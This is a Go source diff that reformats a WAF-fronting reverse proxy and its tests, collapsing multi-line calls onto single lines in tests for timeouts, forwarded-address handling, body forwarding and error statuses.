+			_, _, server := startServer(t, standIn.URL, app.URL, map[string]string{
-				t,
+				maxResponseTime: strconv.FormatInt(limit.Milliseconds(), 10),
-				standIn.URL,
+			})
-				app.URL,
-				map[string]string{
-					maxResponseTime: strconv.FormatInt(
-						limit.Milliseconds(),
-						10,
-					),
-				},
-			)
 
-			req := httptest.NewRequestWithContext(
+			req := httptest.NewRequestWithContext(t.Context(), http.MethodGet, tc.target,
-				t.Context(),
+				http.NoBody)
-				http.MethodGet,
-				tc.target,
-				http.NoBody,
-			)
 			w := &deadlineRecorder{ResponseRecorder: httptest.NewRecorder()}
 
 			before := time.Now()
@@ -633,19 +535,14 @@ func TestAnAnswerRProxyGivesItselfHasTheResponseTimeToBeSent(t *testing.T) {
 
 			if w.writeDeadline.Before(before.Add(limit)) ||
 				w.writeDeadline.After(time.Now().Add(limit)) {
-				t.Errorf(
+				t.Errorf("the time limit on sending ends at %s, want %s from the answer",
-					"the time limit on sending ends at %s, want %s from the answer",
+					w.writeDeadline, limit)
-					w.writeDeadline,
-					limit,
-				)
 			}
 		})
 	}
 }
 
-func TestAnAnswerRProxyGivesItselfHasTenSecondsToBeSentAtLeast(
+func TestAnAnswerRProxyGivesItselfHasTenSecondsToBeSentAtLeast(t *testing.T) {
-	t *testing.T,
-) {
 	t.Parallel()
 
 	const least = 10 * time.Second
@@ -656,12 +553,7 @@ func TestAnAnswerRProxyGivesItselfHasTenSecondsToBeSentAtLeast(
 		maxResponseTime: "300",
 	})
 
-	req := httptest.NewRequestWithContext(
+	req := httptest.NewRequestWithContext(t.Context(), http.MethodGet, "/", http.NoBody)
-		t.Context(),
-		http.MethodGet,
-		"/",
-		http.NoBody,
-	)
 	w := &deadlineRecorder{ResponseRecorder: httptest.NewRecorder()}
 
 	before := time.Now()
@@ -669,11 +561,8 @@ func TestAnAnswerRProxyGivesItselfHasTenSecondsToBeSentAtLeast(
 	server.Handler.ServeHTTP(w, req)
 
 	if w.writeDeadline.Before(before.Add(least)) {
-		t.Errorf(
+		t.Errorf("the time limit on sending ends at %s, want %s from the answer at least",
-			"the time limit on sending ends at %s, want %s from the answer at least",
+			w.writeDeadline, least)
-			w.writeDeadline,
-			least,
-		)
 	}
 }
 
@@ -694,9 +583,7 @@ func TestAVisitorTooSlowToSendTheRestIsAnswered408(t *testing.T) {
 		t.Errorf("status %d, want 408", status)
 	}
 
-	if asked := standIn.question(t); len(
+	if asked := standIn.question(t); len(asked.body) != questionBodyMaxBytes {
-		asked.body,
-	) != questionBodyMaxBytes {
 		t.Errorf("the question carries %d bytes", len(asked.body))
 	}
 
@@ -710,11 +597,7 @@ func TestAVisitorTooSlowToSendTheRestIsAnswered408(t *testing.T) {
 func startAppThatTakesNothing(t *testing.T) string {
 	t.Helper()
 
-	listener, err := (&net.ListenConfig{}).Listen(
+	listener, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0")
-		t.Context(),
-		"tcp",
-		localhost+":0",
-	)
 	if err != nil {
 		t.Fatalf("listen: %v", err)
 	}
@@ -803,9 +686,7 @@ func TestAnAppTooSlowToAnswerIsAnswered504(t *testing.T) {
 	}
 }
 
-func TestAVisitorGetsAnAnswerWhenTheAppAnswersAsTheTimeRunsOut(
+func TestAVisitorGetsAnAnswerWhenTheAppAnswersAsTheTimeRunsOut(t *testing.T) {
-	t *testing.T,
-) {
 	t.Parallel()
 
 	// Four visitors at a time, each with an app and rproxy of its own, send more
@@ -904,13 +785,8 @@ func TestAnAppTooSlowToFinishItsAnswerIsCutOff(t *testing.T) {
 
 	if res.StatusCode != http.StatusOK || string(body) != start ||
 		!errors.Is(err, io.ErrUnexpectedEOF) {
-		t.Errorf(
+		t.Errorf("answered %d %q (%v), want the app's 200 %q, then the connection closed",
-			"answered %d %q (%v), want the app's 200 %q, then the connection closed",
+			res.StatusCode, body, err, start)
-			res.StatusCode,
-			body,
-			err,
-			start,
-		)
 	}
 
 	if report := standIn.report(t); report.Status != http.StatusOK {
@@ -951,17 +827,13 @@ func TestAVisitorTooSlowToTakeTheAnswerIsCutOff(t *testing.T) {
 	line := out.requestLine(t)
 
 	responseBytes, _ := line["response_bytes"].(float64)
-	if line["status"] != float64(http.StatusOK) ||
+	if line["status"] != float64(http.StatusOK) || responseBytes >= bodySize {
-		responseBytes >= bodySize {
 		t.Errorf("line %v, want status 200 and the answer cut off", line)
 	}
 
 	report := standIn.report(t)
 	if report.Status != http.StatusOK || report.ResponseBytes >= bodySize {
-		t.Errorf(
+		t.Errorf("report %+v, want status 200 and the answer cut off", report)
-			"report %+v, want status 200 and the answer cut off",
-			report,
-		)
 	}
 }
 
@@ -981,9 +853,7 @@ func TestAnAppThatCannotBeReachedIsAnswered502WithAReport(t *testing.T) {
 	}
 }
 
-func TestAVisitorThatStopsSendingAfterTheAppHasAnsweredGetsTheAnswer(
+func TestAVisitorThatStopsSendingAfterTheAppHasAnsweredGetsTheAnswer(t *testing.T) {
-	t *testing.T,
-) {
 	t.Parallel()
 
 	standIn := startWAF(t, allow)
@@ -1067,9 +937,7 @@ func TestAVisitorThatStopsALittleShortGetsTheAppsAnswerAtOnce(t *testing.T) {
 	wantGreeting(t, readAnswer(t, conn))
 }
 
-func TestAVisitorThatStopsALittleShortIsReadUntilTheRequestTimeLimit(
+func TestAVisitorThatStopsALittleShortIsReadUntilTheRequestTimeLimit(t *testing.T) {
-	t *testing.T,
-) {
 	t.Parallel()
 
 	const limit = 2 * time.Second
@@ -1093,11 +961,7 @@ func TestAVisitorThatStopsALittleShortIsReadUntilTheRequestTimeLimit(
 	}
 
 	if closed := time.Since(start); closed < limit {
-		t.Errorf(
+		t.Errorf("the connection closed after %s, want %s at least", closed, limit)
-			"the connection closed after %s, want %s at least",
-			closed,
-			limit,
-		)
 	}
 }
 
@@ -1128,8 +992,7 @@ func TestAVisitorThatStopsALittleShortHasTheConnectionClosedWhenTheAnswerIsCutOf
 				rc := http.NewResponseController(w)
 				_ = rc.EnableFullDuplex()
 
-				w.Header().
+				w.Header().Set(contentLengthHeader, strconv.Itoa(len(greeting)))
-					Set(contentLengthHeader, strconv.Itoa(len(greeting)))
 
 				for _, part := range tc.atOnce {
 					_, _ = io.WriteString(w, part)
@@ -1147,18 +1010,10 @@ func TestAVisitorThatStopsALittleShortHasTheConnectionClosedWhenTheAnswerIsCutOf
 			})
 
 			// The request time limit is far longer than dial's deadline.
-			addr, _ := startRProxy(
+			addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
-				t,
+				maxRequestTime:  "120000",
-				standIn.URL,
+				maxResponseTime: strconv.FormatInt(limit.Milliseconds(), 10),
-				app.URL,
+			})
-				map[string]string{
-					maxRequestTime: "120000",
-					maxResponseTime: strconv.FormatInt(
-						limit.Milliseconds(),
-						10,
-					),
-				},
-			)
 
 			conn := dial(t, addr)
 			sendAllButALittle(t, conn)
@@ -1175,12 +1030,7 @@ func TestAVisitorThatStopsALittleShortHasTheConnectionClosedWhenTheAnswerIsCutOf
 
 			want := strings.Join(tc.atOnce, "")
 			if string(body) != want || !errors.Is(err, io.ErrUnexpectedEOF) {
-				t.Errorf(
+				t.Errorf("read %q (%v), want %q and the connection closed", body, err, want)
-					"read %q (%v), want %q and the connection closed",
-					body,
-					err,
-					want,
-				)
 			}
 		})
 	}
@@ -1218,11 +1068,7 @@ func TestAVisitorThatStopsSendingWhileTheAppWorksGetsNoAnswer(t *testing.T) {
 
 	text, err := io.ReadAll(conn)
 	if err != nil || len(text) != 0 {
-		t.Errorf(
+		t.Errorf("read %q (%v), want the connection closed without an answer", text, err)
-			"read %q (%v), want the connection closed without an answer",
-			text,
-			err,
-		)
 	}
 
 	if line := out.requestLine(t); line["status"] != 0.0 {
@@ -1230,9 +1076,7 @@ func TestAVisitorThatStopsSendingWhileTheAppWorksGetsNoAnswer(t *testing.T) {
 	}
 }
 
-func TestTheRequestTimeLimitDoesNotCutAnAnswerOnceTheAppHasTheRequest(
+func TestTheRequestTimeLimitDoesNotCutAnAnswerOnceTheAppHasTheRequest(t *testing.T) {
-	t *testing.T,
-) {
 	t.Parallel()
 
 	const answer = "the end of a long answer"
@@ -1250,28 +1094,13 @@ func TestTheRequestTimeLimitDoesNotCutAnAnswerOnceTheAppHasTheRequest(
 		maxRequestTime: "2000",
 	})
 
-	got := visit(
+	got := visit(t, newRequest(t, http.MethodPost, addr, "/", strings.NewReader("a body")))
-		t,
-		newRequest(
-			t,
-			http.MethodPost,
-			addr,
-			"/",
-			strings.NewReader("a body"),
-		),
-	)
 	if got.status != http.StatusOK || got.body != answer {
-		t.Errorf(
+		t.Errorf("answered %d %q, want the app's whole answer", got.status, got.body)
-			"answered %d %q, want the app's whole answer",
-			got.status,
-			got.body,
-		)
 	}
 }
 
-func TestAVisitorThatStopsALittleShortGetsAnAnswerRProxyGivesAtOnce(
+func TestAVisitorThatStopsALittleShortGetsAnAnswerRProxyGivesAtOnce(t *testing.T) {
-	t *testing.T,
-) {
 	t.Parallel()
 
 	for _, tc := range []struct {
@@ -1292,15 +1121,10 @@ func TestAVisitorThatStopsALittleShortGetsAnAnswerRProxyGivesAtOnce(
 			app := startApp(t, greet)
 			// The request time limit is longer than the 10 seconds an answer rproxy
 			// gives itself has to be sent, and than dial's deadline.
-			addr, _ := startRProxy(
+			addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
-				t,
+				maxRequestTime:  "15000",
-				standIn.URL,
+				maxResponseTime: "300",
-				app.URL,
+			})
-				map[string]string{
-					maxRequestTime:  "15000",
-					maxResponseTime: "300",
-				},
-			)
 
 			// The body stops 100 bytes short, less than Go's server reads of a body
 			// left unread before it answers.

internal/rproxy/question_test.go

@@ -54,12 +54,7 @@ func TestQuestionIsTheVisitorsRequestWithRProxysHeaders(t *testing.T) {
 	asked := standIn.question(t)
 	if asked.method != http.MethodDelete || asked.target != target ||
 		asked.host != site {
-		t.Errorf(
+		t.Errorf("asked about %s %s at %s", asked.method, asked.target, asked.host)
-			"asked about %s %s at %s",
-			asked.method,
-			asked.target,
-			asked.host,
-		)
 	}
 
 	if asked.header.Get(requestIDHeader) == "the-visitor's" {
@@ -77,11 +72,7 @@ func TestQuestionIsTheVisitorsRequestWithRProxysHeaders(t *testing.T) {
 	want.Set(waf.PeerHeader, localhost)
 
 	if !maps.EqualFunc(asked.header, want, slices.Equal) {
-		t.Errorf(
+		t.Errorf("the question's headers are %v, want %v", asked.header, want)
-			"the question's headers are %v, want %v",
-			asked.header,
-			want,
-		)
 	}
 }
 
@@ -109,14 +100,9 @@ func TestQuestionNamesTheVisitorATrustedProxySpeaksFor(t *testing.T) {
 
 				greet(w, r)
 			})
-			addr, out := startRProxy(
+			addr, out := startRProxy(t, standIn.URL, app.URL, map[string]string{
-				t,
+				trustedProxies: tc.trusted,
-				standIn.URL,
+			})
-				app.URL,
-				map[string]string{
-					trustedProxies: tc.trusted,
-				},
-			)
 
 			req := newRequest(t, http.MethodGet, addr, "/", http.NoBody)
 			req.Header.Set(forwardedForHeader, visitor)
@@ -136,12 +122,7 @@ func TestQuestionNamesTheVisitorATrustedProxySpeaksFor(t *testing.T) {
 			}
 
 			if got := (<-forwarded).Get(forwardedForHeader); got != tc.forwarded {
-				t.Errorf(
+				t.Errorf("the app saw %s %q, want %q", forwardedForHeader, got, tc.forwarded)
-					"the app saw %s %q, want %q",
-					forwardedForHeader,
-					got,
-					tc.forwarded,
-				)
 			}
 		})
 	}
@@ -178,14 +159,9 @@ func TestQuestionNamesTheClientAsTheForwardedAddressesSay(t *testing.T) {
 
 			standIn := startWAF(t, allow)
 			app := startApp(t, greet)
-			addr, _ := startRProxy(
+			addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
-				t,
+				trustedProxies: localhost + "/32,10.0.0.0/8",
-				standIn.URL,
+			})
-				app.URL,
-				map[string]string{
-					trustedProxies: localhost + "/32,10.0.0.0/8",
-				},
-			)
 
 			req := newRequest(t, http.MethodGet, addr, "/", http.NoBody)
 			req.Header[forwardedForHeader] = tc.header
@@ -224,24 +200,15 @@ func TestFirst64KiBReachWAFAndTheWholeBodyTheApp(t *testing.T) {
 				body := randomBytes(size)
 				standIn := startWAF(t, allow)
 				received := make(chan []byte, 1)
-				app := startApp(
+				app := startApp(t, func(w http.ResponseWriter, r *http.Request) {
-					t,
+					whole, _ := io.ReadAll(r.Body)
-					func(w http.ResponseWriter, r *http.Request) {
+					received <- whole
-						whole, _ := io.ReadAll(r.Body)
-						received <- whole
 
-						greet(w, r)
+					greet(w, r)
-					},
+				})
-				)
 				addr, _ := startRProxy(t, standIn.URL, app.URL, nil)
 
-				req := newRequest(
+				req := newRequest(t, http.MethodPost, addr, "/", bytes.NewReader(body))
-					t,
-					http.MethodPost,
-					addr,
-					"/",
-					bytes.NewReader(body),
-				)
 				if !announced {
 					// Go's client sends a body of unknown length in chunks.
 					req.ContentLength = -1
@@ -257,9 +224,7 @@ func TestFirst64KiBReachWAFAndTheWholeBodyTheApp(t *testing.T) {
 					t.Error("the app did not get the whole body")
 				}
 
-				if report := standIn.report(t); report.RequestBytes != int64(
+				if report := standIn.report(t); report.RequestBytes != int64(size) {
-					size,
-				) {
 					t.Errorf("report %+v, of %d bytes", report, size)
 				}
 			})
@@ -275,11 +240,8 @@ func wantQuestionBody(
 	t.Helper()
 
 	if !bytes.Equal(asked.body, want) {
-		t.Errorf(
+		t.Errorf("the question carries %d bytes, want the first %d", len(asked.body),
-			"the question carries %d bytes, want the first %d",
+			len(want))
-			len(asked.body),
-			len(want),
-		)
 	}
 
 	values := asked.header.Values(waf.ContentLengthHeader)
@@ -294,13 +256,9 @@ func wantQuestionBody(
 		return
 	}
 
-	if len(values) != 0 ||
+	if len(values) != 0 || !slices.Equal(asked.transferEncoding, []string{chunked}) {
-		!slices.Equal(asked.transferEncoding, []string{chunked}) {
+		t.Errorf("announced %v and encoded %v, want none and chunked", values,
-		t.Errorf(
+			asked.transferEncoding)
-			"announced %v and encoded %v, want none and chunked",
-			values,
-			asked.transferEncoding,
-		)
 	}
 }
 
@@ -353,11 +311,7 @@ func TestAQuestionCarriesItsBodyWhateverTheMethod(t *testing.T) {
 				addr, _ := startRProxy(t, standIn.URL, nowhere, nil)
 
 				conn := dial(t, addr)
-				send(
+				send(t, conn, method+" /x HTTP/1.1\r\nHost: site.example\r\n"+tc.framing)
-					t,
-					conn,
-					method+" /x HTTP/1.1\r\nHost: site.example\r\n"+tc.framing,
-				)
 
 				if status := readStatus(t, conn); status != http.StatusForbidden {
 					t.Errorf("status %d, want waf's 403", status)
@@ -366,13 +320,8 @@ func TestAQuestionCarriesItsBodyWhateverTheMethod(t *testing.T) {
 				asked := standIn.question(t)
 				if string(asked.body) != tc.body ||
 					!slices.Equal(asked.transferEncoding, tc.encoding) {
-					t.Errorf(
+					t.Errorf("the question carries %q, encoded %v, want %q, encoded %v",
-						"the question carries %q, encoded %v, want %q, encoded %v",
+						asked.body, asked.transferEncoding, tc.body, tc.encoding)
-						asked.body,
-						asked.transferEncoding,
-						tc.body,
-						tc.encoding,
-					)
 				}
 			})
 		}
@@ -394,15 +343,10 @@ func TestAMethodNotPassedOnIsAnswered405(t *testing.T) {
 
 			got := visit(t, newRequest(t, method, addr, "/", http.NoBody))
 			if got.status != http.StatusMethodNotAllowed ||
-				got.header.Get(
+				got.header.Get("Allow") != "GET, HEAD, POST, OPTIONS, PUT, DELETE, PATCH, QUERY, "+
-					"Allow",
-				) != "GET, HEAD, POST, OPTIONS, PUT, DELETE, PATCH, QUERY, "+
 					"PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, REPORT, SEARCH, LOCK, UNLOCK, "+
 					"MKCALENDAR" {
-				t.Errorf(
+				t.Errorf("answered %+v, want 405 naming the methods passed on", got)
-					"answered %+v, want 405 naming the methods passed on",
-					got,
-				)
 			}
 
 			line := out.requestLine(t)
@@ -539,12 +483,7 @@ func TestATrustedPeerWithNoForwardedProtoIsAskedAboutAsHTTP(t *testing.T) {
 
 	asked := standIn.question(t)
 	if got := asked.header.Get(forwardedProtoHeader); got != want {
-		t.Errorf(
+		t.Errorf("the question's %s is %q, want %s", forwardedProtoHeader, got, want)
-			"the question's %s is %q, want %s",
-			forwardedProtoHeader,
-			got,
-			want,
-		)
 	}
 }
 
@@ -565,21 +504,11 @@ func TestAQuestionNamesNoZone(t *testing.T) {
 
 			standIn := startWAF(t, deny)
 			app := startApp(t, greet)
-			_, out, server := startServer(
+			_, out, server := startServer(t, standIn.URL, app.URL, map[string]string{
-				t,
+				trustedProxies: localhost + "/32",
-				standIn.URL,
+			})
-				app.URL,
-				map[string]string{
-					trustedProxies: localhost + "/32",
-				},
-			)
 
-			req := httptest.NewRequestWithContext(
+			req := httptest.NewRequestWithContext(t.Context(), http.MethodGet, "/", http.NoBody)
-				t.Context(),
-				http.MethodGet,
-				"/",
-				http.NoBody,
-			)
 			req.RemoteAddr = tc.remoteAddr
 			req.Header.Set(forwardedForHeader, tc.forwardedFor)
 

internal/rproxy/request.go

@@ -96,34 +96,24 @@ type request struct {
 
 // newRequest starts handling r: it notes the time, works out the visitor from
 // the TCP peer and X-Forwarded-For, and makes the request's id.
-func (h *handler) newRequest(
+func (h *handler) newRequest(w http.ResponseWriter, r *http.Request) *request {
-	w http.ResponseWriter,
-	r *http.Request,
-) *request {
 	peer := peerAddress(r)
 	trusted := h.config.TrustedProxies
 
 	rq := &request{
-		h:   h,
+		h:           h,
-		in:  r,
+		in:          r,
-		rc:  http.NewResponseController(w),
+		rc:          http.NewResponseController(w),
-		out: &responseWriter{ResponseWriter: w},
+		out:         &responseWriter{ResponseWriter: w},
-		id:  rand.Text(),
+		id:          rand.Text(),
-		client: clientAddress(
+		client:      clientAddress(peer, r.Header.Values("X-Forwarded-For"), trusted),
-			peer,
-			r.Header.Values("X-Forwarded-For"),
-			trusted,
-		),
 		peer:        peer,
 		peerTrusted: isInside(peer, trusted),
 		start:       time.Now(),
 	}
 
 	if r.Body != http.NoBody {
-		rq.body = &requestBody{
+		rq.body = &requestBody{body: limitBody(r.Body, h.config.MaxRequestSize), rq: rq}
-			body: limitBody(r.Body, h.config.MaxRequestSize),
-			rq:   rq,
-		}
 	}
 
 	return rq
@@ -148,9 +138,7 @@ func (rq *request) readFirstPartOfBody() bool {
 	}
 
 	_ = rq.rc.SetReadDeadline(rq.requestDeadline())
-	held, err := io.ReadAll(
+	held, err := io.ReadAll(io.LimitReader(rq.body, waf.QuestionBodyMaxBytes))
-		io.LimitReader(rq.body, waf.QuestionBodyMaxBytes),
-	)
 	// From here on, the request timer ends a read of the rest of the body, so that
 	// the answer can name the side rproxy was waiting on.
 	_ = rq.rc.SetReadDeadline(time.Time{})
@@ -269,8 +257,7 @@ func (rq *request) modifyResponse(res *http.Response) error {
 	}
 
 	maxBytes := rq.h.config.MaxResponseSize
-	if maxBytes > 0 && res.Body != http.NoBody &&
+	if maxBytes > 0 && res.Body != http.NoBody && res.ContentLength > maxBytes {
-		res.ContentLength > maxBytes {
 		rq.refuse(http.StatusBadGateway)
 
 		return errResponseTooLarge
@@ -297,11 +284,7 @@ func (rq *request) modifyResponse(res *http.Response) error {
 
 // answerError is ReverseProxy's ErrorHandler: the request could not be passed to
 // the app, or the app's answer cannot be passed on.
-func (rq *request) answerError(
+func (rq *request) answerError(_ http.ResponseWriter, _ *http.Request, err error) {
-	_ http.ResponseWriter,
-	_ *http.Request,
-	err error,
-) {
 	if rq.upgraded != nil {
 		// The app switched protocols, but the switch was not passed on, and
 		// ReverseProxy leaves the app's connection open when it refuses it.
@@ -317,11 +300,7 @@ func (rq *request) answerError(
 			panic(http.ErrAbortHandler)
 		}
 
-		rq.h.processLog.Warn(
+		rq.h.processLog.Warn("request to the app failed", "error", err.Error())
-			"request to the app failed",
-			"error",
-			err.Error(),
-		)
 
 		status = http.StatusBadGateway
 	}
@@ -432,33 +411,24 @@ func (rq *request) finish(ctx context.Context) {
 	end := time.Now()
 	requestBytes, responseBytes := rq.bytesEachWay()
 
-	err := requestlog.WriteRProxyLine(
+	err := requestlog.WriteRProxyLine(rq.h.requestLog, &requestlog.RProxyLine{
-		rq.h.requestLog,
+		Time:               requestlog.FormatTime(rq.start),
-		&requestlog.RProxyLine{
+		RequestID:          rq.id,
-			Time:          requestlog.FormatTime(rq.start),
+		ClientIP:           rq.client.String(),
-			RequestID:     rq.id,
+		Host:               rq.in.Host,
-			ClientIP:      rq.client.String(),
+		Method:             rq.in.Method,
-			Host:          rq.in.Host,
+		Path:               rules.Path(rq.in),
-			Method:        rq.in.Method,
+		Query:              rq.in.URL.RawQuery,
-			Path:          rules.Path(rq.in),
+		Status:             rq.out.status,
-			Query:         rq.in.URL.RawQuery,
+		RequestBytes:       requestBytes,
-			Status:        rq.out.status,
+		ResponseBytes:      responseBytes,
-			RequestBytes:  requestBytes,
+		DurationRequestMS:  requestlog.Milliseconds(requestEnd.Sub(rq.start)),
-			ResponseBytes: responseBytes,
+		DurationResponseMS: requestlog.Milliseconds(end.Sub(requestEnd)),
-			DurationRequestMS: requestlog.Milliseconds(
+		Disposition:        rq.disposition,
-				requestEnd.Sub(rq.start),
+		DefaultDisposition: rq.byDefault,
-			),
+	})
-			DurationResponseMS: requestlog.Milliseconds(end.Sub(requestEnd)),
-			Disposition:        rq.disposition,
-			DefaultDisposition: rq.byDefault,
-		},
-	)
 	if err != nil {
-		rq.h.processLog.Error(
+		rq.h.processLog.Error("writing the request log failed", "error", err.Error())
-			"writing the request log failed",
-			"error",
-			err.Error(),
-		)
 	}
 
 	if !rq.answered {
@@ -473,9 +443,7 @@ func (rq *request) finish(ctx context.Context) {
 		DurationTotalMS: requestlog.Milliseconds(end.Sub(rq.start)),
 	}
 	if !rq.upstreamStart.IsZero() {
-		report.DurationUpstreamTotalMS = requestlog.Milliseconds(
+		report.DurationUpstreamTotalMS = requestlog.Milliseconds(end.Sub(rq.upstreamStart))
-			end.Sub(rq.upstreamStart),
-		)
 	}
 
 	rq.h.sendReport(ctx, report)
@@ -554,10 +522,7 @@ func (rq *request) startRequestTimer() {
 	rq.mu.Lock()
 	defer rq.mu.Unlock()
 
-	rq.requestTimer = time.AfterFunc(
+	rq.requestTimer = time.AfterFunc(time.Until(deadline), rq.requestTimedOut)
-		time.Until(deadline),
-		rq.requestTimedOut,
-	)
 }
 
 // requestTimedOut is called when SWRP_MAX_REQUEST_TIME_MS runs out while the
@@ -648,9 +613,7 @@ func (rq *request) setResponseDeadline() {
 
 	deadline := rq.endRequest().Add(limit)
 
-	_ = rq.rc.SetWriteDeadline(
+	_ = rq.rc.SetWriteDeadline(time.Now().Add(max(time.Until(deadline), minSendTime)))
-		time.Now().Add(max(time.Until(deadline), minSendTime)),
-	)
 	_ = rq.rc.Flush()
 	_ = rq.rc.SetWriteDeadline(deadline)
 }

internal/rproxy/rproxy.go

@@ -78,10 +78,7 @@ type Server struct {
 // on.
 func New(params Params) *Server {
 	backend := params.Config.WAFBackend
-	errorLog := slog.NewLogLogger(
+	errorLog := slog.NewLogLogger(params.ProcessLog.Handler(), slog.LevelWarn)
-		params.ProcessLog.Handler(),
-		slog.LevelWarn,
-	)
 	h := &handler{
 		config:       params.Config,
 		requestLog:   params.RequestLog,

internal/rproxy/rproxy_test.go

@@ -358,13 +358,11 @@ func startServerLogging(
 	}
 	maps.Copy(settings, env)
 
-	cfg, err := config.RProxyFromEnvironment(
+	cfg, err := config.RProxyFromEnvironment(func(name string) (string, bool) {
-		func(name string) (string, bool) {
+		value, ok := settings[name]
-			value, ok := settings[name]
 
-			return value, ok
+		return value, ok
-		},
+	})
-	)
 	if err != nil {
 		t.Fatalf("settings %v: %v", settings, err)
 	}
@@ -372,18 +370,10 @@ func startServerLogging(
 	server := rproxy.New(rproxy.Params{
 		Config:     cfg,
 		RequestLog: requestLog,
-		ProcessLog: requestlog.NewProcessLogger(
+		ProcessLog: requestlog.NewProcessLogger(processLog, "test", slog.LevelInfo),
-			processLog,
-			"test",
-			slog.LevelInfo,
-		),
 	})
 
-	listener, err := (&net.ListenConfig{}).Listen(
+	listener, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0")
-		t.Context(),
-		"tcp",
-		localhost+":0",
-	)
 	if err != nil {
 		t.Fatalf("listen: %v", err)
 	}
@@ -413,10 +403,7 @@ type answered struct {
 func visit(t *testing.T, req *http.Request) answered {
 	t.Helper()
 
-	transport := &http.Transport{
+	transport := &http.Transport{DisableKeepAlives: true, DisableCompression: true}
-		DisableKeepAlives:  true,
-		DisableCompression: true,
-	}
 	defer transport.CloseIdleConnections()
 
 	res, err := transport.RoundTrip(req)
@@ -442,12 +429,8 @@ func newRequest(
 ) *http.Request {
 	t.Helper()
 
-	req, err := http.NewRequestWithContext(
+	req, err := http.NewRequestWithContext(t.Context(), method, "http://"+addr+target,
-		t.Context(),
+		body)
-		method,
-		"http://"+addr+target,
-		body,
-	)
 	if err != nil {
 		t.Fatalf("new request: %v", err)
 	}
@@ -467,11 +450,7 @@ func wantGreeting(t *testing.T, got answered) {
 	t.Helper()
 
 	if got.status != http.StatusOK || got.body != greeting {
-		t.Errorf(
+		t.Errorf("answered %d %q, want the app's greeting", got.status, got.body)
-			"answered %d %q, want the app's greeting",
-			got.status,
-			got.body,
-		)
 	}
 }
 
@@ -568,12 +547,7 @@ func TestPassesAnAllowedRequestToTheAppAndItsAnswerBack(t *testing.T) {
 		requestIDHeader:    asked.header.Get(requestIDHeader),
 	} {
 		if received.Header.Get(name) != want {
-			t.Errorf(
+			t.Errorf("the app saw %s %q, want %q", name, received.Header.Get(name), want)
-				"the app saw %s %q, want %q",
-				name,
-				received.Header.Get(name),
-				want,
-			)
 		}
 	}
 }
@@ -686,12 +660,7 @@ func TestAnAnswerWithoutAContentTypeGetsNone(t *testing.T) {
 	})
 	_, _, server := startServer(t, standIn.URL, app.URL, nil)
 
-	req := httptest.NewRequestWithContext(
+	req := httptest.NewRequestWithContext(t.Context(), http.MethodGet, "/", http.NoBody)
-		t.Context(),
-		http.MethodGet,
-		"/",
-		http.NoBody,
-	)
 	w := httptest.NewRecorder()
 
 	server.Handler.ServeHTTP(w, req)
@@ -701,11 +670,8 @@ func TestAnAnswerWithoutAContentTypeGetsNone(t *testing.T) {
 	// stops it: the key with no value.
 	values, there := w.Header()["Content-Type"]
 	if !there || len(values) != 0 {
-		t.Errorf(
+		t.Errorf("the answer's Content-Type is %q, there: %v, want the key with no value",
-			"the answer's Content-Type is %q, there: %v, want the key with no value",
+			values, there)
-			values,
-			there,
-		)
 	}
 }
 
@@ -740,12 +706,8 @@ func TestRemovesTheVisitorsLookupHeadersWhenWAFGivesNone(t *testing.T) {
 			wantGreeting(t, visit(t, req))
 
 			header := <-seen
-			if len(header.Values(asnHeader)) != 0 ||
+			if len(header.Values(asnHeader)) != 0 || len(header.Values(countryHeader)) != 0 {
-				len(header.Values(countryHeader)) != 0 {
+				t.Errorf("the app saw the visitor's lookup headers: %v", header)
-				t.Errorf(
-					"the app saw the visitor's lookup headers: %v",
-					header,
-				)
 			}
 		})
 	}
@@ -778,8 +740,7 @@ func TestDenyGivesTheVisitorWAFsAnswer(t *testing.T) {
 	}
 
 	line := out.requestLine(t)
-	if line["disposition"] != dispositionDeny ||
+	if line["disposition"] != dispositionDeny || line["default_disposition"] != nil {
-		line["default_disposition"] != nil {
 		t.Errorf("line %v, want waf's deny", line)
 	}
 }
@@ -793,11 +754,7 @@ func TestADeniedHeadKeepsWAFsContentLength(t *testing.T) {
 
 	got := visit(t, newRequest(t, http.MethodHead, addr, "/", http.NoBody))
 	if got.status != http.StatusForbidden ||
-		got.header.Get(
+		got.header.Get(contentLengthHeader) != strconv.Itoa(len(deniedBody)) {
-			contentLengthHeader,
-		) != strconv.Itoa(
-			len(deniedBody),
-		) {
 		t.Errorf("answered %+v, want waf's 403 and its length", got)
 	}
 }
@@ -821,14 +778,7 @@ func TestAnAnswerRProxyHoldsWholeIsSentBeforeItsLogLine(t *testing.T) {
 			log := heldLog{release: make(chan struct{})}
 			standIn := startWAF(t, deny)
 			app := startApp(t, greet)
-			addr, _ := startServerLogging(
+			addr, _ := startServerLogging(t, standIn.URL, app.URL, nil, log, io.Discard)
-				t,
-				standIn.URL,
-				app.URL,
-				nil,
-				log,
-				io.Discard,
-			)
 
 			t.Cleanup(func() { close(log.release) })
 
@@ -845,16 +795,9 @@ func TestAnAnswerRProxyHoldsWholeIsSentBeforeItsLogLine(t *testing.T) {
 			}()
 
 			body, err := io.ReadAll(res.Body)
-			if err != nil || res.StatusCode != tc.status ||
+			if err != nil || res.StatusCode != tc.status || string(body) != tc.body {
-				string(body) != tc.body {
+				t.Errorf("answered %d %q (%v), want %d %q", res.StatusCode, body, err,
-				t.Errorf(
+					tc.status, tc.body)
-					"answered %d %q (%v), want %d %q",
-					res.StatusCode,
-					body,
-					err,
-					tc.status,
-					tc.body,
-				)
 			}
 		})
 	}
@@ -900,11 +843,8 @@ func TestCloseClosesTheConnectionWithoutAnAnswer(t *testing.T) {
 
 	text, err := io.ReadAll(conn)
 	if err != nil || len(text) != 0 {
-		t.Errorf(
+		t.Errorf("read %q (%v), want the connection closed without an answer",
-			"read %q (%v), want the connection closed without an answer",
+			text, err)
-			text,
-			err,
-		)
 	}
 
 	report := standIn.report(t)
@@ -918,9 +858,7 @@ func TestCloseClosesTheConnectionWithoutAnAnswer(t *testing.T) {
 	}
 }
 
-func TestALineForARequestClosedWithoutAnAnswerHasNoNegativeTime(
+func TestALineForARequestClosedWithoutAnAnswerHasNoNegativeTime(t *testing.T) {
-	t *testing.T,
-) {
 	t.Parallel()
 
 	backend := startWAFAnsweringReports(t,
@@ -943,10 +881,7 @@ func TestALineForARequestClosedWithoutAnAnswerHasNoNegativeTime(
 
